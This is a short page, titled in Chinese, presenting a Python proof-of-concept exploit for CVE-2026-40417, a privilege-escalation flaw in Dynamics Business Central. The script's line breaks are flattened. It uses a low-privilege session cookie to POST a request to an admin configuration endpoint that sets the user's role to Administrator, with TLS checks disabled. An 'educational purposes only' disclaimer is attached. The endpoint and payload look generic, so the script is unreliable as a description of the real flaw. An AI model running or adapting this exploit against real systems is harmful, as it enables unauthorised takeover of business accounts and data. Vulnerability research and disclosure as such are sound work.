CVE-2026-40417 Dynamics Business Central权限提升漏洞

# PoC for CVE-2026-40417: Weak Authentication Privilege Escalation # This script demonstrates how a low-privilege user might bypass weak auth checks. # NOTE: For educational purposes only. Do not run against systems you do not own. import requests def attempt_exploit(target_url, session_cookie): """ Attempts to exploit the weak authentication to elevate privileges. """ headers = { "Cookie": f"SessionId={session_cookie}", "Content-Type": "application/json" } # Simulate a request that should require Admin privileges # Due to weak auth, this endpoint might accept the low-priv session payload = { "action": "update_user_permissions", "target_user": "current_user", "new_role": "Administrator" } try: response = requests.post(f"{target_url}/api/admin/config", json=payload, headers=headers, verify=False) if response.status_code == 200 and "success" in response.text: print("[+] Exploit successful! Privileges escalated.") return True else: print("[-] Exploit failed. Server returned:", response.status_code) return False except Exception as e: print(f"[-] An error occurred: {e}") return False if __name__ == "__main__": # Example usage print("CVE-2026-40417 PoC - Dynamics Business Central") # attempt_exploit("http://target-server", "low_priv_session_token")